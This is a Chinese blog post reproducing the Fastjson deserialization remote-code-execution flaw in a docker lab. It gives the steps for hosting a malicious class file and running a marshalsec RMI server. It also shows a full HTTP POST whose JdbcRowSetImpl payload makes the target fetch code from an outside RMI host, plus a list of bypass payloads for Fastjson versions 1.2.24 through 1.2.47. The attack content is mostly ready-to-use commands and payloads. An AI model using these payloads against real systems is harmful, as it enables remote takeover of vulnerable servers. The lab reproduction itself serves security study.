美文网首页漏洞复现
2020-01-29-fastjson复现

2020-01-29-fastjson复现

作者: 最初的美好_kai | 来源:发表于2020-03-03 16:17 被阅读0次

    一、概述
    1.Fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。
    2.Fastjson 1.2.51版本以下存在反序列化漏洞,且存在补丁绕过的情况。
    3.fastjon低版本存在反序列化漏洞,导致可以远程代码执行getshell
    4.暂无cve编号,修复请直接升级到高级版本

    二、漏洞复现
    1.环境搭建

    docker-compose up -d
    

    环境启动使用http:localhost:8090看看是否返回json判断是否搭建成功。
    如下图:


    p1

    2.编译利用代码


    p2
    javac TouchFIle.java生成TouchFile.class文件,接着把该文件放到远程服务器上
    python -m SimpleHTTPServer 80
    执行命令:
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://172.16.64.128/#TouchFile" 9999
    

    3.向靶场发送恶意payload
    这里get改post然后增加恶意json参数进去

    POST / HTTP/1.1
    Host: 172.16.64.128:8090
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/json
    Content-Length: 167
    
    {
        "b":{
            "@type":"com.sun.rowset.JdbcRowSetImpl",
            "dataSourceName":"rmi://172.16.64.128:9999/TouchFile",
            "autoCommit":true
        }
    }
    

    4.检测是否成功执行命令
    观看dnslog平台可发现已成功请求该域名


    p4

    5.不同版本之间的一些payload收集:

    1.2.24
    {"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit", "autoCommit":true}}
    
    未知版本(1.2.24-41之间)
    {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
    
    1.2.41
    {"@type":"Lcom.sun.rowset.RowSetImpl;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
    
    1.2.42
    {"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true};
    
    1.2.43
    {"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true]}
    
    1.2.45
    {"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}
    
    1.2.47
    {"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}}}
    

    相关文章

      网友评论

        本文标题:2020-01-29-fastjson复现

        本文链接:https://www.haomeiwen.com/subject/solbthtx.html